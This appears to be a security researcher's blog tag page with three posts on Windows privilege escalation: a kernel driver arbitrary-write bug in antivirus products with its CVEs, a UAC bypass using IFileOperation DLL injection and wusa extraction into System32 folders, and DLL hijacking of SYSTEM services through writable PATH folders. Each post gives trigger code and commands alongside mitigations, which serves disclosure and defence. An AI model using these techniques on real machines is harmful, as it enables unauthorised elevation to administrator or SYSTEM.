All posts tagged Elevate

Last year I started researching into the Windows kernel to get a better understanding of privilege escalation vulnerabilities. Vulnerabilities in the kernel are a serious issue as they could be used to bypass browsers sandboxes and end up compromising the entire system. In general most people assume that security products are developed with security in mind and can be trusted, so I thought I would start my assessment on security products and see how secure they really are from kernel attacks.  Within a couple of months of research six vulnerabilities had already been discovered in various products from different vendors. What was particularly interesting is that they all exhibited the same type of vulnerability, which only seemed to exist on older operating systems.

This blog post details the technical research carried out in order to pinpoint the root cause as to what had changed from Windows XP and Windows Server 2003 to later Windows operating systems.

The vulnerability
The vulnerability exists when drivers do not validate the output buffer address and output buffer size. Applications wanting to talk to the kernel communicate through the use of the DeviceIOControl function.

DeviceIoControl(hDevice, 0x00222000, inbuffer, BUFSIZE, (LPVOID)0xF4F5F6F7, 0, &dwRetBytes, NULL);

In this example we can see two things of interest, first is that using LPVOID we can send in a hardcoded output buffer address and second is the output buffer length has been defined to 0. Sending this to a vulnerable driver will trigger a bugcheck.

Debugger Output
In the bugcheck analysis below the write address is the same as passed through the DeviceIOControl function, which basically means we have found an arbitrary memory overwrite vulnerability. If we look at the call stack, the bugcheck was triggered in function nt!IopCompleteRequest

kd> !analyze -v
*                                                                         *
*                        Bugcheck Analysis                                *
*                                                                         *

Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arg1: f4f5f6f7, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 804ec09b, If non-zero, the instruction address which referenced the bad memory
Arg4: 00000000, (reserved)

Debugging Details:

Could not read faulting driver name

WRITE_ADDRESS:  f4f5f6f7 

804ec09b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]





PROCESS_NAME:  dos_greyhat.exe

IRP_ADDRESS:  86593dd8


LAST_CONTROL_TRANSFER:  from 804ec11a to 804ec09b

f411baec 804ec11a 86593e18 f411bb38 f411bb2c nt!IopCompleteRequest+0x92
f411bb3c 806f5c0e 00000000 00000000 f411bb54 nt!KiDeliverApc+0xb3
f411bb3c 806f00b3 00000000 00000000 f411bb54 hal!HalpApcInterrupt2ndEntry+0x31
f411bbc8 804e53cc 86593e18 86593dd8 00000000 hal!KfLowerIrql+0x43
f411bbe8 804ec134 86593e18 8659f3e0 00000000 nt!KeInsertQueueApc+0x4b
f411bc1c f7e99562 8659f3e0 86594390 86593dd8 nt!IopfCompleteRequest+0x1d8
WARNING: Stack unwind information not available. Following frames may be wrong.
f411bc34 804e3767 866e10f0 867cf288 806f0070 ghhpoc+0x562
f411bc44 805682ab 86593e48 8659f3e0 86593dd8 nt!IopfCallDriver+0x31
f411bc58 805771e2 866e10f0 86593dd8 8659f3e0 nt!IopSynchronousServiceTail+0x70
f411bd00 80579705 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611
f411bd34 804de7f8 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f411bd34 7c90e514 000007e8 00000000 00000000 nt!KiSystemServicePostCall
0012fe3c 00000000 00000000 00000000 00000000 0x7c90e514


f7e99562 ??              ???


SYMBOL_NAME:  ghhpoc+562

FOLLOWUP_NAME:  MachineOwner


IMAGE_NAME:  ghhpoc.sys


FAILURE_BUCKET_ID:  0x50_ghhpoc+562

BUCKET_ID:  0x50_ghhpoc+562

Followup: MachineOwner

kd> r
eax=00000008 ebx=86593dd8 ecx=00000002 edx=00000000 esi=867cf288 edi=f4f5f6f7
eip=804ec09b esp=f411baa8 ebp=f411baec iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
804ec09b f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

Vulnerable Driver Analysis
Reverse engineering the driver the bugcheck is triggered after the call of the function IofCompleteRequest.

The IoCompleteRequest function indicates that the driver has completed all processing for a given IRP and is returning the IRP back to the I/O manager. IRP is an I/O request packet and is how Windows communicates with drivers. The IRP data structure contains information used by drivers.

Comparing IRP data
Since the goal was to find the root cause as to why this vulnerability only applies to older versions of Windows, I started comparing Windows XP to Windows 7. Setting a breakpoint before our call to the IoCompleteRequest function and looking at the IRP data in WinDbg, we can see UserBuffer contains the address of our output buffer address. One noticeable change was the “Flags” value. Windows XP had a value of 0x70 whereas Windows 7 had a value of 0x60030

In Windows XP ebx contains pointer to IRP

kd> dt nt!_irp @ebx
   +0x000 Type             : 6
   +0x002 Size             : 0x94
   +0x004 MdlAddress       : (null) 
   +0x008 Flags            : 0x70
   +0x00c AssociatedIrp    : __unnamed
   +0x010 ThreadListEntry  : _LIST_ENTRY [ 0x8650dfb0 - 0x8650dfb0 ]
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : 1 ''
   +0x021 PendingReturned  : 0 ''
   +0x022 StackCount       : 1 ''
   +0x023 CurrentLocation  : 3 ''
   +0x024 Cancel           : 0 ''
   +0x025 CancelIrql       : 0 ''
   +0x026 ApcEnvironment   : 0 ''
   +0x027 AllocationFlags  : 0xc ''
   +0x028 UserIosb         : 0x0012fe18 _IO_STATUS_BLOCK
   +0x02c UserEvent        : (null) 
   +0x030 Overlay          : __unnamed
   +0x038 CancelRoutine    : (null) 
   +0x03c UserBuffer       : 0xf4f5f6f7 
   +0x040 Tail             : __unnamed

In Windows 7 esi contains pointer to IRP

kd> dt nt!_irp @esi
   +0x000 Type             : 6
   +0x002 Size             : 0x94
   +0x004 MdlAddress       : (null) 
   +0x008 Flags            : 0x60030
   +0x00c AssociatedIrp    : <unnamed-tag>
   +0x010 ThreadListEntry  : _LIST_ENTRY [ 0x85257f94 - 0x85257f94 ]
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : 1 ''
   +0x021 PendingReturned  : 0 ''
   +0x022 StackCount       : 1 ''
   +0x023 CurrentLocation  : 3 ''
   +0x024 Cancel           : 0 ''
   +0x025 CancelIrql       : 0 ''
   +0x026 ApcEnvironment   : 0 ''
   +0x027 AllocationFlags  : 0x6 ''
   +0x028 UserIosb         : 0x0023f7b8 _IO_STATUS_BLOCK
   +0x02c UserEvent        : (null) 
   +0x030 Overlay          : <unnamed-tag>
   +0x038 CancelRoutine    : (null) 
   +0x03c UserBuffer       : 0xf4f5f6f7 
   +0x040 Tail             : <unnamed-tag>

IoCompleteRequest Analysis
The exported function IoCompleteRequest in ntoskrnl.exe ends up calling IopCompleteRequest function. We can see on Windows XP that it does a bitwise 40 AND 70 and jumps to the inlined memcpy code which ends up triggering the bugcheck.

On Windows 7 we see the bitwise 40 AND 30 takes a different codepath and never hits our memcpy.

The “test al, 40h” instruction on Windows 7 branches off to another codepath as its doing a bitwise 40 AND 30 instead of bitwise 40 AND 70 as al=30h on Windows 7 which is from the IRP flags value.

IopXxxControlFile Analysis
“So what causes the flags value to be 30h instead of 70h?” was my next question. After some investigation I discovered that IopXxxControlFile held the answer. The IopXxxControlFile function had been called earlier in our call stack. This function does a number of checks and validations on the inputs provided such as if addresses are in user space, buffer lengths, etc. and sets up our data in IRP.

In this function near the beginning it calls the ProbeForWrite function which checks if the address falls in the user space range and writable. The first thing the function does though is check the output buffer length, if zero it returns back to the IopXxxControlFile function without even checking the output buffer address. The ProbeForWrite function below is from Windows XP but is also the same for Windows 7.

Returning back to the IopXxxControlFile function and after a number of checks near the end of the code we see our output buffer address being placed in the IRP UserBuffer field and Flags value being updated to 0x70, all it checks on Windows XP if an output buffer address is available.

On Windows 7 we finally discover the root cause as to what has changed in the IopXxxControlFile function. It checks the output buffer length instead of the output buffer address. Since the output buffer length is 0 the flags value does not get set to 0x70 thus mitigating the vulnerability.

What do these flags values mean?
So what do these values 10h, 30h, 40h and 70h represent? Searching through wdm.h header file I found these definitions:

#define IRP_BUFFERED_IO                 0x00000010
#define IRP_DEALLOCATE_BUFFER           0x00000020
#define IRP_INPUT_OPERATION             0x00000040

The values are set in IopXxxControlFile function by performing an OR operation. So doing an OR on IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER produces a value of 30h
Converting into code it will look something like this

// Windows XP
Irp->UserBuffer = pBufferOut;                          
if (pBufferOut) 
// Windows 7
Irp->UserBuffer = pBufferOut;                          
if (iBufferOutSize) 

When it comes to carry its memcpy operation in IoCompleteRequest function it will look something like this

if (Irp->Flags & IRP_BUFFERED_IO)                                   
  if ((Irp->Flags & IRP_INPUT_OPERATION) 
     &&  (Irp->IoStatus.Status != STATUS_VERIFY_REQUIRED)
     && !(NT_ERROR(Irp->IoStatus.Status)))
       RtlCopyMemory(Irp->UserBuffer, Irp->AssociatedIrp.SystemBuffer, Irp->IoStatus.Information); 

Here is it does its bitwise AND operation and dictates its outcome, jump or not to jump.

Conditions of a Vulnerable Driver
During completion of an IRP the I/O Manager copies the data from the system buffer back to the user’s output buffer if using Buffered I/O method (METHOD_BUFFERED) and the status is of a success or warning. The number of bytes to copy is taken from the Irp->IoStatus.Information field.

The following range values indicate error and warning status codes:

  NTSTATUS codes 0xC0000000 – 0xFFFFFFFF are errors
  NTSTATUS codes 0x80000000 – 0xBFFFFFFF are warnings

In the above code we can see it uses the macro NT_ERROR() to evaluate if not an error status.

So if the data is too large for the buffer, the driver completes the IRP with a status STATUS_BUFFER_OVERFLOW (0x80000005), which falls in the warning range, and the Irp->IoStatus.Information will be updated with the buffer size and data copied over. If completed with status STATUS_BUFFER_TOO_SMALL (0xC0000023) which falls in the error range, the I/O Manager does not copy any data back to the output buffer as it sets the Irp->IoStatus.Information to 0.

To reproduce a vulnerable driver for testing purposes use this code in your dispatch routine for Buffered I/O. The IoStatus.Information value has to be 1 or more for an overwrite to take place.

Irp->IoStatus.Information = 4;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);

Windows supports three I/O transfer methods, which the driver developer can use for reading and writing data to memory. One method being Buffered I/O where the I/O Manager allocates a system buffer of equal size to the users inputted buffer. For write operations, the I/O manager copies the user’s buffer data into the system buffer. For read operations, the I/O manager copies data from the system buffer to the users output buffer when the IRP completes and then frees the system buffer. Buffered I/O is defined in the driver for example like this


So when using METHOD_BUFFERED it copies our system data back to our UserBuffer address when IRP is completed using the IoCompleteRequest function.

Fixing a Vulnerable Driver
Asking the same question to all the vendors on how they each fixed the issue it was interesting to find different approaches had been taken. One approach was

to check if the output buffer address was in the user space

if (Irp->UserBuffer > MmHighestUserAddress)

Another approach was to check the size of the output buffer

if (iBufferOutSize < sizeof(ULONG))

Depending on the dispatch conditions just by changing the status value to an error status is enough to resolve the vulnerability.

I would like to thank BullGuard, AVG and K7 Computing for kindly sharing information. A special thanks to BullGuard as they were very helpful and provided a lot more important information which saved me a lot of time on this research. I can’t say the same for the other three vendors: McAfee, Symantec and TrendMicro. All three decided not to share anything; do you see anything confidential in the above code?

Published Advisories
This table below provides information on the products where this vulnerability had been discovered.

Vendor Product OSVDB CVE ID Days Vendor link
McAfee Data Loss Prevention 117345 CVE-2015-1305 99 Advisory
Trend Micro Antivirus Plus
Internet Security
Maximum Security
115514 CVE-2014-9641 70 Advisory
Symantec Altiris Client 116082 CVE-2014-7286 59 Advisory
AVG Internet Security 113824 CVE-2014-9632 26 Release notes
K7 Computing Ultimate Security
Anti-Virus Plus
Total Security
113007 CVE-2014-9643 22 None
BullGuard Antivirus
Internet Security
Premium Protection
Online Backup
114478 CVE-2014-9642 16 Release notes

Advisories published by some vendors were very unprofessional. Trend Micro had to be advised to correct their description, as they didn’t get it right the first time since it had a number of mistakes and was initially published without consultation. Also the fix applies all the way to Trend Titanium products 2015, which was stated in my vulnerability report but not mentioned in their advisory.

For Symantec, well they are not any better. After waiting nearly two months they ended up releasing an advisory advising only to uninstall the driver. Also, their advisory link in their mitigation information section refers to a knowledge base article DOC7993 on how to remove the driver. However, if you take a look as this article it starts off mentioning the MQAC.sys driver and points to a Microsoft link. I had this flagged at the time but no action has been taken. It’s a similar vulnerability so they must have just copied and pasted it without reading it.

What is really shocking is that McAfee took 99 days to release an advisory to the public whereas BullGuard took only 16 days. Does that mean if an exploit was made public we would have had to wait 99 days for an update? Also, McAfee failed to mention in their advisory that it also affects Windows Server 2003, which was clearly stated in my vulnerability report as the product is supported on Windows Server 2003. I however did not test it on Windows Server 2003 R2 (32bit) but did reverse engineer ntoskrnl.exe from Windows Server 2003 R2 (64bit) and did have only the address check in the IopXxxControlFile function. There is a 64bit version for McAfee DLP so should be exploitable too.

Other Vendors
Assessment carried out on some of the security vendors’ products that were not affected from this type of vulnerability are listed below. This is no way an assurance that their products are free from this vulnerability, as there is a possibility some ioctls may have been missed, input buffer sizes may have changed the codepath, device handles not loaded, etc.

  • Agnitum
  • AhnLab
  • Avast
  • Avira
  • BitDefender
  • ClamAV
  • Comodo
  • Emsisoft
  • Eset
  • Fortinet
  • FRISK Software
  • F-Secure
  • G Data
  • Kaspersky Lab
  • Kingsoft
  • Malwarebytes
  • Nano Security
  • Norman
  • Panda Security
  • Sophos
  • TrustPort
  • ThreatTrack Security
  • Webroot
  • Zemana

Other Windows Versions
Since all my tests were on a fully patched Windows XP SP3 32bit and Windows 7 SP1 32bit I thought I’d check some other operating systems. Checking on Windows Server 2003 SP2 Standard Edition 32bit found to have the same issue as Windows XP and during tests exploited successfully. Windows Server 2003 has still got over 5 months before the end-of-life so for those of you still using Windows 2003 better upgrade to a later operating system if you’ve not already done so.

On a clean default installation of Windows Vista 32bit in an unpatched state the output buffer length check had been applied like Windows 7. This means Microsoft did know about this issue and added the check before release.

There are plenty of products designed only to run on Windows Servers, which I have not audited, so maybe it’s a good time for researchers to discover some low-hanging fruit.

Final thoughts
One thing is clear from this research and working with vendors: Just because it’s a big company doesn’t mean you’ll get great service. There are plenty of other vendors doing an excellent job so we should not blindly need to go with the likes of McAfee, Symantec or Trend Micro.

Updating machines is a tedious job at times so really we should be focusing on mitigation products like Microsoft EMET and MalwareBytes Anti-Exploit and not be so dependent on constantly updating machines for security. Bottom line is to upgrade to the latest operating systems as it will have a number of mitigations, checks, validations in place that we probably don’t even know about yet keeping us safe.


I’ll start submitting the exploits to Exploit-DB in the next few days and tweet you all once published.

http://www.cmlab.csie.ntu.edu.tw/~cathyp/eBooks/WindowsNT/Driver/IRPs.pdf  [PDF]

Securing machines from abuse and compromise in a corporate environment has always been an ongoing process. Providing admin rights to users has always been abused as users have ended up installing unapproved software, change configurations, etc. Not giving local admin rights and they claim they can’t do their work. If malware happens to compromise the machine with full admin rights then you are most likely looking at reimaging the machine.

User Account Control (UAC) gives us the ability to run in standard user rights instead of full administrator rights. So even if your standard user account is in the local admin group damage is limited, i.e. installing services, drivers, writing to secure locations, etc. are denied. To carry out these actions users would need to interact with the desktop such us right click and run as administrator or accept the UAC elevation prompt. UAC was introduced from Windows Vista onwards and contains a number of technologies that include file system and registry virtualization, the Protected Administrator (PA) account, UAC elevation prompts and Windows Integrity levels.

UAC works by adjusting the permission level of our user account, so programs actions are carried out as a standard user even if we have local admin rights on the computer. When changes are going to be made that require administrator-level permission UAC notifies us. If we have local admin rights then we can click yes to continue otherwise we would be prompted to enter an administrator password. These would however depend on what policies have been defined in your environment.

This blog post shows how easily UAC elevation prompts could be bypassed and what actions could be taken to mitigate this threat.

Bypassing UAC
Exploiting UAC is a trivial process. There are two stages needed to be taken to achieve bypass to elevate from standard user rights to administrator user rights. These steps have widely been published so it’s nothing new though stage 2 documents some more DLL hijacking vulnerabilities.

  • Writing to a secure location
  • Exploiting DLL hijacking vulnerability

In order for our bypass to be successful to start off with we need

  1. A medium integrity process
  2. A standard user in an administrators group
  3. Windows executable must be signed by Microsoft code signing certificate
  4. Windows executable must be located in a secure directory
  5. Windows executable also must specify the auto Elevate property in their manifest

Writing to a secure location
There are a couple of ways we can write to a secure location.

  • Using the IFileOperation COM Object
  • Using Windows Update Standalone Installer (wusa.exe)

IFileOperation COM Object
The IFileOperation COM object has a method that we can use to copy files to our secure location as the operation will auto-elevate and able to do a privilege copy. To exploit we can in inject our malicious DLL in a medium integrity process to carry out the operation. Since the COM object is set to auto-elevate the injected process does not need to be marked for auto-elevation in its manifest.

On windows 7 injected processes that have copied successfully are


During tests taskhost.exe only happens to work once after boot and wuauclt.exe doesn’t always work which leaves explorer.exe is only the reliable process to use.

On Windows 8 injected processes that have copied successfully are


Again explorer.exe is only the reliable process to use I found during my tests and the only one that worked on Windows 8.1

The main part of the code below has been taken from MSDN with just the some minor changes. The SetOperationFlags values used was taken from the UAC bypass code published here.

#include <stdio.h>
#include <Shobjidl.h>
#include <Windows.h>

#pragma comment(lib, "Ole32.lib")
#pragma comment(lib, "shell32.lib")

int WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
FileOperation  *pfo;
IShellItem      *psiFrom = NULL;
IShellItem      *psiTo = NULL;
LPCWSTR pszSrcItem = L"calc.dll";
LPCWSTR pszNewName = L"cryptbase.dll";
LPCWSTR pszDest    = L"C:\\windows\\System32\\sysprep";

if (SUCCEEDED(hr))
 hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo));
 if (SUCCEEDED(hr))
 hr = pfo->SetOperationFlags( FOF_NOCONFIRMATION |
 if (SUCCEEDED(hr))
 hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom));
 if (SUCCEEDED(hr))
 if (NULL != pszDest)
 hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo));
 if (SUCCEEDED(hr))
 hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
 if (NULL != psiTo)
 if (SUCCEEDED(hr))
 hr = pfo->PerformOperations();
 return 0;

Windows Update Standalone Installer
Another method to use to copy to our secure location is using Windows Update Standalone Installer (wusa.exe). Wusa.exe when executed runs as a high integrity process as its set to auto-elevate in its manifest. For auto-elevation the Windows executable must be signed, located in a secure directory such as C:\Windows\System32 and must specify the autoElevate property in their manifest.

We use wusa.exe to extract a CAB file (cabinet archive file) to our secure location

wusa c:\users\user1\desktop\poc.tmp /extract:c:\windows\system32\sysprep

Here in the example our cab file is called poc.tmp but we can call it whatever we like. Windows comes with the makecab.exe tool so we can even create our cab file

makecab c:\users\user1\desktop\CRYPTBASE.dll c:\users\user1\desktop\poc.tmp

Exploiting DLL hijacking vulnerability
When exploiting a DLL hijacking vulnerability the executable we are going to run again has to be signed; located in a secure directory and must specify the autoElevate property in its manifest in order load as a high integrity process.

On Windows 7 there are three executables that could be exploited and associated DLLs listed below




On malwr.com a malware submitted on 25th June last year had already been using Mcx2Prov.exe to bypass UAC and day later an exploit had also been published.

The same hash had also been flagged on VirusTotal (38/54) submitted over four months ago.

On Windows 8 there are also three executables that could be exploited and associated DLLs listed below




Finally on Windows 8.1 there are also three executables that could be exploited and associated DLLs listed below



C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll
C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll
C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll
C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll
C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll

Calling pwcreator.exe (Create a Windows To Go workspace) executable calls vds.exe (Virtual Disk Service) which then loads our DLL and gives us System integrity running in SYSTEM account.

Calling these executables sysprep.exe, cliconfg.exe and pwcreater.exe does produce a GUI window but should be able to easily make it run in the background and then terminated after being exploited. This is something I haven’t looked into so I’ll leave upto you.

The best way to mitigate this bypass is just by not giving users local admin rights to their machines. Majority of user accounts in a corporate environment you should be able to do this reducing the attack surface. This however does not apply home users which would have local admin rights by default.

The actual bypass only works when set to the middle two UAC settings which will let it auto-elevate. To see your settings you need to go to Control Panel – User Accounts – Change User Account Control settings.

Notify me only when apps try to make changes to my computer (default)
Notify me only when apps try to make changes to my computer (do not dim desktop settings)

so we could set to Always notify but this would bring it back to like it was on Windows Vista with constant notifications and not really practical and the user would end up setting it to Never notify which is definitely not a good idea.

Microsoft has given us 10 UAC policies to play with so it’s worth spending some time understanding and testing these out before implementing it in your own domain environment. To see what is applied on your local machine type secpol.msc into Start-Run to open the Local Security Policy snap-in and expand the Local Policies-Security Options folder. Run rsop.msc to view group policies applied on machines in a domain environment.

Looking in the registry these are the default values of UAC


When the slider is moved upto “Always notify me” it changes this value


When the slider is moved down to “Notify me only when apps try to make changes to my computer (do not dim desktop settings)” it changes this value


And when the slider is moved to “Never notify” the values changed are


Take note that EnableLUA has been disabled completely. This is an extremely dangerous value to be in and should never be disabled so its strongly recommend to set this settings to be enabled in group policies so it always gets applied if settings are reset/changed by users or by previously removed malware.

User Account Control: Run all administrators in Admin Approval Mode

Once disabled not only a malicious process could be able to go straight to high integrity without any bypass but also Internet Explorer would run in medium integrity. UAC gives us the Protected Mode (sandbox) in Internet Explorer providing added security. Internet Explorer normally runs in low integrity child process so if compromised by some IE exploit the damage is minimized as in low integrity there are only a handful of locations it can be written to on the system.

These changes mentioned above have been seen on Windows 7. On Windows 8/8.1 EnableLUA does not change to disabled. So when the slider is moved to Never notify the values changed are only


Since value “EnableLUA”=dword:00000001 does not change, UAC is not completely disabled and Internet Explorer would still run in low integrity.

If however a user logged onto a machine using the local admin account (administrator or whatever renamed on your corporate build) UAC settings does not apply as all processes run in high integrity. This applies to Windows 7/8 and 8.1 so always make sure users DO NOT logon using local admin account, if local admin rights are required better add their domain account to the local administrators group.

If for whatever reason logging on using the local admin account is a necessity then best set this UAC policy to enabled.

User Account Control: Admin Approval Mode for the built-in Administrator account

Another option would be to look into renaming or deleting the executables Mcx2Prov.exe, sysprep.exe, cliconfg.exe and pwcreator.exe if definitely not required on the system so the second stage to exploit DLL hijacking fails.

Finally if users do require local admin privileges then worth setting their machine UAC policy to Always notify and they live with the constant notifications.

User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode (2-Prompt for consent on the secure desktop)

This bypass only works when all of the requirements are available to abuse. Remove one requirement and the bypass will fail. Office documents are opened in medium integrity so these are ideal targets to abuse the UAC bypass. Since these bypasses are so effortlessly achieved the only real course of action would be to set UAC to “Always notify” or remove local admin rights for the user. In the end using agents like Microsoft EMET or MalwareBytes Anti-Exploit would be the best mitigating action to take from initially being exploited in the first place.

Here are the source and binaries you can test for yourself. I tested it on Windows Enterprise 7/8/8.1 64bit


Securing machines is always an on-going process whether it is by locking down settings, blocking applications, disabling Windows Services, making sure user privileges are kept to a minimum and so on. If we don’t then users will end up installing non-standard software, making changes to the system, malware doing more damage once getting compromised, etc. This post is about weaknesses in folder permissions leading to elevation of privilege by using DLL hijacking vulnerabilities in Windows Services.

What is DLL hijacking?
A few years ago there was quite a bit of hype being able to load malicious DLLs remotely or locally from the current working directory. The Microsoft article [1] explains it clearly

“When an application dynamically loads a dynamic-link library without specifying a fully qualified path name, Windows attempts to locate the DLL by searching a well-defined set of directories in a particular order. If an attacker gains control of one of the directories on the DLL search path, it can place a malicious copy of the DLL in that directory. This is sometimes called a DLL preloading attack or a binary planting attack. If the system does not find a legitimate copy of the DLL before it searches the compromised directory, it loads the malicious DLL. If the application is running with administrator privileges, the attacker may succeed in local privilege elevation.”

So if an application loads a DLL just by its name it goes through the search order below (32bit OS) to find the library

  1. The directory from which the application loaded
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. The current working directory (CWD)
  6. Directories in the PATH environment variable (system then user)

What are we exploiting?
The goal here is to get local admin rights on the machine. In order to achieve this we need three things to make this work

  • Windows DLL search order
  • DLL hijacking vulnerability
  • Weak folder permissions

Windows DLL search order
In Windows DLL search order the directories of the path environment variable are the last search it carries out starting with the system variable path and then the user variable path. Unless the application hasn’t used a fully qualified path name for its DLL it will try to find the DLL through the search order even with certain mitigations in place.

DLL hijacking vulnerability
A quick way to find DLL hijacking vulnerabilities is to start Process Monitor, setup the relevant filtering and carry out some actions. Here we will be exploiting Windows Services as a large number of services run on SYSTEM privileges, just by stopping and starting the services and observing the search patterns. Keep in mind that Services running under SYSTEM does not search through user path environment. After stopping and starting Services a number of vulnerabilities had been discovered.

One Windows Service being the “IKE and AuthIP IPsec Keying Modules” This service is not started and set to manual by default but might be started or set to Automatic by VPN clients, policies, other Services, etc. For someone trying to obtain local admin rights starting Process Monitor will not be possible with limited permissions so let’s go through the steps if we didn’t have rights. In this example the IKE service is used but it can be any service for software that you may not have direct access to and need to audit.

First let’s take note of the service executable through Windows Services (say services.msc via run command) checking to see if its status has started and running under localsystem.

Now checking in the registry to see if there are any service dlls being loaded by the service

We can copy these files (svchost.exe and IKEEXT.DLL) off to another machine to do our static analysis. After loading in IDA and simply searching for loadlibrary and jumping to the call will show what library is going to load. If a fully qualified path is not specified then we may be in luck. Here in IKEEXT.DLL LoadLibraryW will try to load “wlbsctrl.dll”

Note: It is not always as straight forward as in this example as the dll called might be using fully qualified path name but linked at compile time with another dll which will try to load this at load time which might be vulnerable due to being in another folder or not available.

Lastly we search for the library wlbsctrl.dll on the system to see if it exists and if so take note as to where it is located.

C:\>dir wlbsctrl.dll /s

In this case wlbsctrl.dll does not exist on the system so it will go through the entire search order.

Weak folder permissions
Now for the most important part “Weak folder permissions”. When new folders are created in the root it is writeable for all authenticated users by default. The “NT AUTHORITY\Authenticated Users:(I)(M)” gets added to the folder where M stands for modify access. So any application that gets installed on the root can be tampered with by a non-admin user. If binaries load with SYSTEM privileges from this folder it might just be a matter of replacing the binary with your own one.

It gets interesting when applications gets installed in the root and add its path to the system path environment. This now opens the attack surface for a large number of applications that may have DLL hijacking vulnerabilities. One scenario is software getting pushed onto machines, with the likes of Marimba, Landesk, etc. which use a Windows service running with system privileges to install the software. Since it runs with system privileges software pushed onto machines such as Perl, Python or Ruby it will add to the system path environment if adding the path had been set in the package along with being installed on the root as default. Or it could be an IT support personnel installs the software with their admin rights for the user. If a user installs manually (if possible) with non-admin rights then it may be added to user path environment and then exploitation would not be possible. We can use icacls.exe to check the permissions of the folder or by the folder properties security tab.

Pwning the box
From our previous sections what we know now are

  • Service “IKE and AuthIP IPsec Keying Modules” loads service dll IKEEXT.DLL
  • IKEEXT.DLL will try to load wlbsctrl.dll
  • OS with carry its search order to find wlbsctrl.dll
  • We have a writeable folder C:\Ruby200\bin which is in the search order

All we need to do now is drop our malicious crafted DLL wlbsctrl.dll in C:\Ruby200\bin, reboot the machine and it will carry out its action under SYSTEM privileges. Users requesting Ruby, Perl, etc. are probably developers and have rights anyway but there may be other software which gets installed on the root and adds to the system path where limited users might take advantage of and this where we need to do our assessment and make any changes before being deployed.

Testing folder paths
I wrote a simple PowerShell script you can download from here that can be used to quickly check vulnerable path folders. System path environment variable comes first and then user path environment variable. Running it in a medium integrity shell for an admin or non-admin user will give the same results.

Vulnerable Windows Services
Here are Windows Services that have been found to be vulnerable and could be exploited on Windows 7 (32/64)

IKE and AuthIP IPsec Keying Modules (IKEEXT)                     – wlbsctrl.dll
Windows Media Center Receiver Service (ehRecvr)               – ehETW.dll
Windows Media Center Scheduler Service (ehSched)             – ehETW.dll

The Windows Media Center Services startup type is set to manual and status not started and will only give us only Network service privileges so I cannot see it to being much use especially with its limited privileges. It can however be started temporarily via certain scheduled tasks.

schtasks.exe /run /I /TN “\Microsoft\Windows\Media Center\mcupdate”
schtasks.exe /run /I /TN “\Microsoft\Windows\Media Center\MediaCenterRecoveryTask”
schtasks.exe /run /I /TN “\Microsoft\Windows\Media Center\ActivateWindowsSearch”

A quick check on Windows XP has shown that these Services are vulnerable

Automatic Updates (wuauserv)                                                – ifsproxy.dll
Remote Desktop Help Session Manager (RDSessMgr)            – SalemHook.dll
Remote Access Connection Manager (RasMan)                      – ipbootp.dll
Windows Management Instrumentation (winmgmt)                 – wbemcore.dll

Other Services that might be installed are also vulnerable

Audio Service (STacSV)                                                    – SFFXComm.dll SFCOM.DLL 
Intel(R) Rapid Storage Technology (IAStorDataMgrSvc)    – DriverSim.dll
Juniper Unified Network Service(JuniperAccessService)   – dsLogService.dll
Encase Enterprise Agent                                                    – SDDisk.dll 

No dll hijacking vulnerabilities were found on a clean default installation of Windows 8 OS (64) so another good reason to start migrating to Windows 8.

There are a number of mitigations available to prevent this vulnerability to be exploited by using certain API’s, changing registry settings, applying updates, etc. it does start to get confusing as to what we are mitigating so hopefully this section will make it a bit clearer.

This update [2] at the time introduced a new registry entry CWDIllegalInDllSearch that allowed users to control the DLL search path algorithm. Tested on a fully patched Windows 7 machine this update is no longer required so it might have been later included in some security update. Once the patch is installed (if applicable) you will need to add the DWORD name CWDIllegalInDllSearch with a value in the registry key location

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]

The value data can be 1, 2 or ffffffff. If the value name CWDIllegalInDllSearch does not exist or the value data is 0 then the machine will still be vulnerable to CWD attack. Please be aware that the value ffffffff could break certain applications. The search order is the same but this time if a malicious DLL is located in the current working directory the library is not loaded.

  1. The directory from which the application loaded
  2. 32-bit System directory (C:\Windows\System32)
  3. 16-bit System directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. The current working directory (CWD)            [ dlls not loaded ]
  6. Directories in the PATH environment variable (system then user)

Previously I carried out tests on CWDIllegalInDllSearch values which you can check the results on my earlier blog post.

This function [3] removes the current working directory (CWD) from the search order when loading DLLs. For instance, the DLL search order after calling SetDllDirectory(“C:\\program files\\MyApp\\”) becomes:

  1. The directory from which the application loaded
  2. C:\program files\MyApp\                                    [ added ]
  3. 32-bit System directory (C:\Windows\System32)
  4. 16-bit System directory (C:\Windows\System)
  5. Windows directory (C:\Windows)
  6. The current working directory (CWD)              [ removed ]
  7. Directories in the PATH environment variable (system then user)

Passing an empty string to SetDllDirectory(“”) the current working directory (CWD) is removed from the search order

  1. The directory from which the application loaded
  2. 32-bit System directory (C:\Windows\System32)
